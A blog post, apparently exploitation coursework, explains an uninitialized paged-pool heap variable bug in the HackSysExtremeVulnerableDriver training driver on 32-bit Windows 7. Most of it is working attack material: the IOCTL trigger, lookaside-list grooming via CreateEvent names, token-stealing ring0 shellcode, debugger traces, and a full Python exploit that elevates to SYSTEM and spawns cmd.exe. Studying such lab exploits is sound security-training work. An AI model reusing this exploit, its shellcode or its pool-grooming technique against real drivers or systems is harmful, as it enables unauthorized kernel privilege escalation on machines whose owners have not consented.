#dokydoky
[Eng] Windows Kernel Exploit - Uninitialized Heap Variables(Paged Pool) 본문
[Eng] Windows Kernel Exploit - Uninitialized Heap Variables(Paged Pool)
dokydoky 2016. 12. 8. 11:340x0. Introduction
0x1. Vulnerable code
0x2. How to trigger
0x3. Exploit
> Populate LookAside List of Paged pool
> Shellcode(Privilege Escalation)
> Full Exploit code
0x0. Introduction
Hi, This is dokydoky. I wrote about "Uninitialize Heap Variable", an assignment for Windows Kernel Exploitation (by Ashfaq Ansari). I would like to thank Ashfaq Ansari for your help. I used many of the source codes of Pool Overflow and UAF exploit of HackSysExtremeVulnerableDriver.
Environment : Windows 7 SP1 32bit, single processor
Target Driver : HackSysExtremeVulnerableDriver(by @HackSys Team)
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
HackSysExtremeVulnerableDriver If you enter the github, you can download the kernel driver. The compiled version is linked below
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/Compiled/Vulnerable/HackSysExtremeVulnerableDriver.sys
0x1. Vulnerable code
NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL;
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(UNINITIALIZED_HEAP_VARIABLE),
(ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE));
// Allocate Pool chunk
UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE)
ExAllocatePoolWithTag(PagedPool,
sizeof(UNINITIALIZED_HEAP_VARIABLE),
(ULONG)POOL_TAG);
......
// Get the value from user mode
UserValue = *(PULONG)UserBuffer;
......
// Validate the magic value
if (UserValue == MagicValue) {
UninitializedHeapVariable->Value = UserValue;
UninitializedHeapVariable->Callback = &UninitializedHeapVariableObjectCallback;
// Fill the buffer with ASCII 'A'
RtlFillMemory((PVOID)UninitializedHeapVariable->Buffer, sizeof(UninitializedHeapVariable->Buffer), 0x41);
// Null terminate the char buffer
UninitializedHeapVariable->Buffer[(sizeof(UninitializedHeapVariable->Buffer) / sizeof(ULONG)) - 1] = '\0';
}
......
// Call the callback function
if (UninitializedHeapVariable) {
......
UninitializedHeapVariable->Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
NTSTATUS UninitializedHeapVariableIoctlHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) {
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
if (UserBuffer) {
Status = TriggerUninitializedHeapVariable(UserBuffer);
}
return Status;
}
After assigning a Paged Pool to UninitializedHeapVariable, if UserValue is equal to MagicValue, proceed to initialize UninitializedHeapVariable.
However, if they are not the same, it will call the UninitializedHeapVariable's Callback function, which is not initialized.
UserValue is the value of the UserBuffer and we can manipulate in user mode, so can trigger the vulnerability.
typedef struct _UNINITIALIZED_HEAP_VARIABLE {
ULONG Value;
FunctionPointer Callback;
ULONG Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;
The UNINITIALIZED_HEAP_VARIABLE structure, which is of type UninitializedHeapVariable, is the same as above.
The size is 240(0xF0)byte.
0x2. How to trigger
HackSysExtremeVulnerableDriver has an IOCTL interface defined. Therefore, it is possible to use the IOCTL in user mode to call the driver function.
When calling IOCTL in user mode, the driver's MajorFunction[IRP_MJ_DEVICE_CONTROL] is called.
HackSysExtremeVulnerableDriver.c
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
......
// Assign the IRP handlers for Create, Close and Device Control
DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateHandler;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCloseHandler;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;
......
return Status;
}
......
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
ULONG IoControlCode = 0;
PIO_STACK_LOCATION IrpSp = NULL;
NTSTATUS Status = STATUS_NOT_SUPPORTED;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
IrpSp = IoGetCurrentIrpStackLocation(Irp);
IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
if (IrpSp) {
switch (IoControlCode) {
......
case HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE:
DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******\n");
Status = UninitializedStackVariableIoctlHandler(Irp, IrpSp);
DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******\n");
break;
case HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE:
DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******\n");
Status = UninitializedHeapVariableIoctlHandler(Irp, IrpSp);
DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******\n");
break;
default:
DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
Status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
}
Irp->IoStatus.Status = Status;
Irp->IoStatus.Information = 0;
// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
Within MajorFunction[IRP_MJ_DEVICE_CONTROL], which is IrpDeviceIoCtlHandler calls a handler according to IoControlCode.
To get the UninitializedHeapVariableIoctlHandler branch we want, IoControlCode is "HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE".
HackSysExtremeVulnerableDriver.h
#define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_NEITHER, FILE_ANY_ACCESS)
// CTL_CODE macro definition
CTL_CODE(
DeviceType, // Identifies the device type
Function, // Identifies the function to be performed by the driver
Method, // Indicates how the system will pass data between the caller and driver
Access // Indicate the type of access
);
"HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE" is declared as above.
The transfer type is METHOD_NEITHER. If you pass a buffer in user mode, the I / O manager does not supply the system buffer or MDL and provides the virtual address of the user mode directly.
Also, the privilege is FILE_ANY_ACCESS, and the I / O manager sends an IRP for all callers that have a driver handle.
Our goal is to call IOCTL with IoControlCode as "HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE" in user mode and to pass UserBuffer different data than 0xBAD0B0B0 which is MagicNumber to trigger the vulnerability.
To call IOCTL in user mode, use DeviceIoControl API and set Device handle, IoControlCode, UserBuffer and so on.
BOOL WINAPI DeviceIoControl(
_In_ HANDLE hDevice,
_In_ DWORD dwIoControlCode,
_In_opt_ LPVOID lpInBuffer,
_In_ DWORD nInBufferSize,
_Out_opt_ LPVOID lpOutBuffer,
_In_ DWORD nOutBufferSize,
_Out_opt_ LPDWORD lpBytesReturned,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
Since the type of dwIoControlCode is a DWORD, let's see how HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE is represented in the binary.
edx = IoControlCode
loc_1505A:
mov eax, edx
sub eax, 22201Fh
jz loc_150FD
...
push 4
pop ecx
sub eax, ecx
jz short loc_150E8
...
sub eax, ecx
jz short loc_150D3
...
sub eax, ecx
jz short loc_150BE
...
sub eax, ecx
jz short loc_150A9
...
sub eax, ecx
jz short loc_15094
...
loc_15094: ; "****** HACKSYS_EVD_IOCTL_UNINITIALIZED_"...
mov ebx, offset aHacksys_evd__5
push ebx ; Format
call _DbgPrint
pop ecx
push esi ; IrpSp
push edi ; Irp
call _UninitializedHeapVariableIoctlHandler@8 ; UninitializedHeapVariableIoctlHandler(x,x)
jmp short loc_15110
IoControlCode-22201F-4-4-4-4-4 = 0
IoControlCode = 0x222033.
Finally, calling the IOCTL as below can trigger an Uninitialized heap variable vulnerability.
hDevice = CreateFile("\\\\.\\HackSysExtremeVulnerableDriver",
GENERAL_READ | GENERAL_WRITE,
None,
None,
OPEN_EXISTING,
None,
None)
pUserBuffer = "AAAA" // not 0xBAD0B0B1
DeviceIoControl(hDevice,
0x222033,
pUserBuffer,
0x4,
None,
0,
None,
None)
0x3. Exploit
> Populate LookAside List of Paged pool
NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL;
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(UNINITIALIZED_HEAP_VARIABLE),
(ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE));
// Allocate Pool chunk
UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE)
ExAllocatePoolWithTag(PagedPool,
sizeof(UNINITIALIZED_HEAP_VARIABLE),
(ULONG)POOL_TAG);
......
// Get the value from user mode
UserValue = *(PULONG)UserBuffer;
......
// Call the callback function
if (UninitializedHeapVariable) {
......
UninitializedHeapVariable->Callback();
......
}
The uninitialized variable is UninitializedHeapVariable, which is 0xF0 (240) bytes in size. If you include the Pool header, the paged pool will be allocated the actual 0xF8 size chunk.
typedef struct _UNINITIALIZED_HEAP_VARIABLE {
ULONG Value;
FunctionPointer Callback;
ULONG Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;
To change the flow of the program, you must manipulate the value of the Callback member in the UninitializedHeapVariable structure.
And to change the value of Callback member to the value we want, we need the following procedure.
1) Assign 256 chunks of 0xF8 size to the paged pool (set the value to assign to the callback member at +4 position of the chunk)
2) Disable 256 chunks allocated above -> LookAside List filled with chunks we manipulated.
3) When you assign the UninitializedHeapVariable variable, It will be assigned the modified chunk from the LookAside List.
There are things you need to know before you see the above.
When releasing the pool chunk, if the block size is less than 0x20, up to 256 chunks are managed in the LookAside List, and additional chunks are managed by ListHead.
At this time, the chunks of LookAside List are overwritten by 4 bytes of data, and the ListHead chunks are overwritten by 8 bytes of data.
LookAside List |
| _POOL_HEADER (8byte) | _SINGLE_LIST_ENTRY (4byte) | ....... | | Single Linked List |
ListHead |
| _POOL_HEADER (8byte) | _LIST_ENTRY (8byte) | ....... | | Double Linked List |
Our goal, the Callback member, is in the +4 position of the structure, so it must be allocated from the LookAside List.
Below is a table comparing before and after freeing chunks.
Before free |
| _POOL_HEADER (8byte) | Value (4byte) | Callback (4byte) | Buffer[58] | |
After free |
| _POOL_HEADER (8byte) | _SINGLE_LIST_ENTRY (4byte) | Callback (4byte) | Buffer[58] | |
I used the CreateEvent API for paged pool allocation.
The allocated event object is allocated to the non-paged pool, but lpName is allocated to the paged pool.
Therefore, if lpName is given as a string of size 0xF0, you can assign 0xF8 (header: 0x8, data: 0xF0) chunk to the paged pool.
HANDLE WINAPI CreateEvent(
_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
_In_ BOOL bManualReset,
_In_ BOOL bInitialState,
_In_opt_ LPCTSTR lpName
);
def populate_lookaside():
ring0_payload = (
"\x60" # 00000000: pushad
"\x31\xc0" # 00000001: xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # 00000003: mov eax,[fs:eax+0x124]
"\x8b\x40\x50" # 0000000A: mov eax,[eax+0x50]
"\x89\xc1" # 0000000D: mov ecx,eax
"\xba\x04\x00\x00\x00" # 0000000F: mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" # 00000014: mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" # 0000001A: sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" # 0000001F: cmp [eax+0xb4],edx
"\x75\xed" # 00000025: jnz 0x14
"\x8b\x90\xf8\x00\x00\x00" # 00000027: mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # 0000002D: mov [ecx+0xf8],edx
"\x61" # 00000033: popad
"\xc3" # 00000034: ret
)
ring0_payload_address = id(ring0_payload) + 20
debug_print("\t[*] Ring0 payload address: {0}".format(hex(ring0_payload_address)))
k = "DDDD" + struct.pack("L", ring0_payload_address) + "F"*(0xF0-4-8-6)
kernel32.DebugBreak()
# Maxium is 256
for i in xrange(256):
tmp = str(i).zfill(4) + '\x00\x00'
event_objectsB.append(kernel32.CreateEventW(None,
True,
False,
c_char_p(k+tmp)))
if not event_objectsB[i]:
debug_print("\t[-] Unable to allocate Event objectsB")
sys.exit(-1)
kernel32.DebugBreak()
for i in xrange(0, len(event_objectsB), 1):
if not close_handle(event_objectsB[i]):
debug_print("\t[-] Unable to close Event objectsB handle")
kernel32.DebugBreak()
kd> !poolinfo -s -l -t Paged 8292fd40 -b 0xF8;g;
Lookaside[1E]: size=0F8, 829305b0
9cec7388: size:0F8 prev:058 index:02 type:05 tag:Rpc.
9cfbe000: size:0F8 prev:000 index:03 type:05 tag:EtwP
Break instruction exception - code 80000003 (first chance)
001b:75884abf cc int 3
kd> !poolinfo -s -l -t Paged 8292fd40 -b 0xF8;g;
Break instruction exception - code 80000003 (first chance)
001b:75884abf cc int 3
kd> !poolinfo -s -l -t Paged 8292fd40 -b 0xF8;g;
Lookaside[1E]: size=0F8, 829305b0
9c97ee38: size:0F8 prev:068 index:02 type:05 tag:ObNm
99da3838: size:0F8 prev:018 index:01 type:05 tag:ObNm
9cfbe000: size:0F8 prev:000 index:03 type:05 tag:ObNm
9cec7388: size:0F8 prev:058 index:02 type:05 tag:ObNm
> Shellcode(Privilege Escalation)
I used the source code from @Hacksys team's github.(thank you for your detailed comment @Ashfaq Ansari)
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Source/Payloads.c#L145
ring0_payload = (
"\x60" # 00000000: pushad
# Start of Token Stealing Stub
"\x31\xc0" # 00000001: xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # 00000003: mov eax,[fs:eax+0x124]
"\x8b\x40\x50" # 0000000A: mov eax,[eax+0x50]
"\x89\xc1" # 0000000D: mov ecx,eax
"\xba\x04\x00\x00\x00" # 0000000F: mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" # 00000014: mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" # 0000001A: sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" # 0000001F: cmp [eax+0xb4],edx
"\x75\xed" # 00000025: jnz 0x14
"\x8b\x90\xf8\x00\x00\x00" # 00000027: mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # 0000002D: mov [ecx+0xf8],edx
# End of Token Stealing Stub
"\x61" # 00000033: popad
# Kernel Recovery Stub
"\xc3" # 00000034: ret
)
The contents of the payload is overwriting the token of the system process with the token of the current thread, changing the current thread's privileges to the System privileges.
To prevent BSOD from happening, it saves the register before and after payload through PUSHAD and POPAD.
In addition, kernel stack frame should be properly adjusted after Shellcode execution.
Because it used "Call dword ptr [eax + 4]" command to enter the Shellcode, you only need to add ret command after POPAD command.
HEVD!TriggerUninitializedHeapVariable+0xf7 [c:\hacksysextremevulnerabledriver\driver\source\uninitializedheapvariable.c @ 149]:
149 92b4bd39 ff30 push dword ptr [eax]
149 92b4bd3b 6804c8b492 push offset HEVD! ?? ::NNGAKEGL::`string' (92b4c804)
149 92b4bd40 e8c1c2ffff call HEVD!DbgPrint (92b48006)
150 92b4bd45 8b45e4 mov eax,dword ptr [ebp-1Ch]
150 92b4bd48 ff7004 push dword ptr [eax+4]
150 92b4bd4b 68d4c7b492 push offset HEVD! ?? ::NNGAKEGL::`string' (92b4c7d4)
150 92b4bd50 e8b1c2ffff call HEVD!DbgPrint (92b48006)
150 92b4bd55 83c410 add esp,10h
152 92b4bd58 8b45e4 mov eax,dword ptr [ebp-1Ch]
152 92b4bd5b ff5004 call dword ptr [eax+4]
154 92b4bd5e eb24 jmp HEVD!TriggerUninitializedHeapVariable+0x142 (92b4bd84)
HEVD!TriggerUninitializedHeapVariable+0x142 [c:\hacksysextremevulnerabledriver\driver\source\uninitializedheapvariable.c @ 158]:
158 92b4bd84 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh
160 92b4bd8b 8b45e0 mov eax,dword ptr [ebp-20h]
HEVD!TriggerUninitializedHeapVariable+0x14c [c:\hacksysextremevulnerabledriver\driver\source\uninitializedheapvariable.c @ 161]:
161 92b4bd8e e8c6c2ffff call HEVD!__SEH_epilog4 (92b48059)
161 92b4bd93 c20400 ret 4
Breakpoint 0 hit
HEVD!TriggerUninitializedHeapVariable+0x119:
92b4bd5b ff5004 call dword ptr [eax+4]
kd> dd @eax
ae1cf9c0 00000000 017ad084 46464646 46464646
ae1cf9d0 46464646 46464646 46464646 46464646
ae1cf9e0 46464646 46464646 46464646 46464646
ae1cf9f0 46464646 46464646 46464646 46464646
ae1cfa00 46464646 46464646 46464646 46464646
ae1cfa10 46464646 46464646 46464646 46464646
ae1cfa20 46464646 46464646 46464646 46464646
ae1cfa30 46464646 46464646 46464646 46464646
kd> uf poi(@eax+4)
017ad084 60 pushad
017ad085 31c0 xor eax,eax
017ad087 648b8024010000 mov eax,dword ptr fs:[eax+124h]
017ad08e 8b4050 mov eax,dword ptr [eax+50h]
017ad091 89c1 mov ecx,eax
017ad093 ba04000000 mov edx,4
017ad098 8b80b8000000 mov eax,dword ptr [eax+0B8h]
017ad09e 2db8000000 sub eax,0B8h
017ad0a3 3990b4000000 cmp dword ptr [eax+0B4h],edx
017ad0a9 75ed jne 017ad098
017ad0ab 8b90f8000000 mov edx,dword ptr [eax+0F8h]
017ad0b1 8991f8000000 mov dword ptr [ecx+0F8h],edx
017ad0b7 61 popad
017ad0b8 c3 ret
> Full Exploit code
# -*- coding: utf-8 -*-
import sys
from ctypes import *
import struct
import subprocess
event_objects = []
kernel32 = windll.kernel32
def debug_print(message):
print(message)
kernel32.OutputDebugStringA(message + "\n")
def get_device_handle(device):
open_existing = 0x3
generic_read = 0x80000000
generic_write = 0x40000000
handle = kernel32.CreateFileA(device,
generic_read | generic_write,
None,
None,
open_existing,
None,
None)
if not handle:
debug_print("\t[-] Unable to get device handle")
sys.exit(-1)
return handle
def close_handle(handle):
# BOOL WINAPI CloseHandle(
# _In_ HANDLE hObject
# );
# close the device handle
return kernel32.CloseHandle(handle)
def populate_lookaside():
ring0_payload = (
"\x60" # 00000000: pushad
"\x31\xc0" # 00000001: xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # 00000003: mov eax,[fs:eax+0x124]
"\x8b\x40\x50" # 0000000A: mov eax,[eax+0x50]
"\x89\xc1" # 0000000D: mov ecx,eax
"\xba\x04\x00\x00\x00" # 0000000F: mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" # 00000014: mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" # 0000001A: sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" # 0000001F: cmp [eax+0xb4],edx
"\x75\xed" # 00000025: jnz 0x14
"\x8b\x90\xf8\x00\x00\x00" # 00000027: mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # 0000002D: mov [ecx+0xf8],edx
"\x61" # 00000033: popad
"\xc3" # 00000034: ret
)
ring0_payload_address = id(ring0_payload) + 20
debug_print("\t[*] Ring0 payload address: {0}".format(hex(ring0_payload_address)))
k = "DDDD" + struct.pack("L", ring0_payload_address) + "F"*(0xF0-4-8-6)
# Maxium is 256
for i in xrange(256):
tmp = str(i).zfill(4) + '\x00\x00'
event_objects.append(kernel32.CreateEventW(None,
True,
False,
c_char_p(k+tmp)))
if not event_objects[i]:
debug_print("\t[-] Unable to allocate Event objects")
sys.exit(-1)
for i in xrange(0, len(event_objects), 1):
if not close_handle(event_objects[i]):
debug_print("\t[-] Unable to close Event objects handle")
def get_process_id(process_name):
process_id = None
th32cs_snapprocess = 0x2
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms684839(v=vs.85).aspx
class PROCESSENTRY32(Structure):
_fields_ = [
('dwSize', c_uint),
('cntUsage', c_uint),
('th32ProcessID', c_uint),
('th32DefaultHeapID', c_uint),
('th32ModuleID', c_uint),
('cntThreads', c_uint),
('th32ParentProcessID', c_uint),
('pcPriClassBase', c_long),
('dwFlags', c_uint),
('szExeFile', c_char * 260),
('th32MemoryBase', c_long),
('th32AccessKey', c_long)
]
process_entry_32 = PROCESSENTRY32()
process_entry_32.dwSize = sizeof(PROCESSENTRY32)
# HANDLE WINAPI CreateToolhelp32Snapshot(
# _In_ DWORD dwFlags,
# _In_ DWORD th32ProcessID
# );
handle_process_snapshot = kernel32.CreateToolhelp32Snapshot(th32cs_snapprocess,
0)
if not handle_process_snapshot:
debug_print("\t[-] Unable to get snapshot")
sys.exit(-1)
# BOOL WINAPI Process32First(
# _In_ HANDLE hSnapshot,
# _Inout_ LPPROCESSENTRY32 lppe
# );
success = kernel32.Process32First(handle_process_snapshot,
byref(process_entry_32))
if not success:
debug_print("\t[-] Unable to get the first process information")
sys.exit(-1)
while success:
if process_entry_32.szExeFile.lower() == process_name:
process_id = process_entry_32.th32ProcessID
break
# BOOL WINAPI Process32Next(
# _In_ HANDLE hSnapshot,
# _Out_ LPPROCESSENTRY32 lppe
# );
success = kernel32.Process32Next(handle_process_snapshot,
byref(process_entry_32))
# now close the handle
close_handle(handle_process_snapshot)
return process_id
def is_process_having_high_privilege(process_to_open):
process_all_access = 0x1F0FFF
# DWORD WINAPI GetProcessId(
# _In_ HANDLE Process
# );
# get the process id of the process we want to open
process_id = get_process_id(process_to_open)
if not process_id:
debug_print("\t[-] Unable to get the process id of: {0}".format(process_to_open))
sys.exit(-1)
# HANDLE WINAPI OpenProcess(
# _In_ DWORD dwDesiredAccess,
# _In_ BOOL bInheritHandle,
# _In_ DWORD dwProcessId
# );
# try to open the target process
handle_process = kernel32.OpenProcess(process_all_access, False, process_id)
if not handle_process:
return False
return True
if __name__ == "__main__":
pool_buffer_size = 0xF0
bytes_returned = c_ulong()
ioctl_uninitialized_heap = 0x00222033
device_name = "\\\\.\\HackSysExtremeVulnerableDriver"
magicValue = struct.pack('<I', 0xBAD0B0B1)
# order (trigger => 3 only)
# 1. prepare user buffer
# 2. populate lookaside list
# 3. ioctl request
# heap size = 0xF0 = 240
debug_print("[+] Preparing user mode buffer")
user_mode_buffer = magicValue
user_mode_buffer_address = id(user_mode_buffer) + 20
debug_print("\t[*] User Mode buffer: {0}".format(hex(user_mode_buffer_address)))
# now get the handle to the vulerable driver
debug_print("[+] Opening vulerable device: {0}".format(device_name))
device_handle = get_device_handle(device_name)
debug_print("[+] Triggering Uninitialized Heap Variable")
debug_print("\t[*] Sending IOCTL Code: {0}".format(hex(ioctl_uninitialized_heap)))
# populate lookaside list
populate_lookaside()
# ioctl request - Trigger
kernel32.DeviceIoControl(device_handle,
ioctl_uninitialized_heap,
user_mode_buffer_address,
0x4,
None,
0,
byref(bytes_returned),
None)
# close the device handle
debug_print("[+] Closing device handle")
if not close_handle(device_handle):
debug_print("\t[-] Unable to close device handle")
# if we are here, it means that the exploit was successful
# let's free the Event objects
#debug_print("\t[*] Freeing Event objects")
#free_event_objects()
debug_print("[+] Checking Current Process Privileges")
if not is_process_having_high_privilege(process_to_open="csrss.exe"):
debug_print("\t[-] Failed to elevate privileges")
sys.exit(-1)
# if you are here, you are ninja
# we have successfully elevated our privileges
debug_print("\t[*] Successfully elevated privileges")
# spawn a command shell with SYSTEM privilege
debug_print("[+] Spawning CMD with SYSTEM privilege")
program_pid = subprocess.Popen("cmd.exe",
creationflags=subprocess.CREATE_NEW_CONSOLE,
close_fds=True).pid
debug_print("\t[*] Shell Process ID: {0}".format(program_pid))
# good bye
debug_print("[+] Good bye... Happy exploitation")
One thing to keep in mind is that running the exploit code immediately after rebooting may fail because the LookAside List is activated about two minutes after the reboot.
After LookAside List is activated, it is 100% successful.
'Windows Exploit' 카테고리의 다른 글
[KR] Windows Kernel Exploit - Uninitialized Heap Variables(Paged Pool) (2) | 2016.12.06 |
---|---|
Windows Kernel Pool (0) | 2016.11.30 |
verifier on/off 비교(UAF, double free) (0) | 2016.11.15 |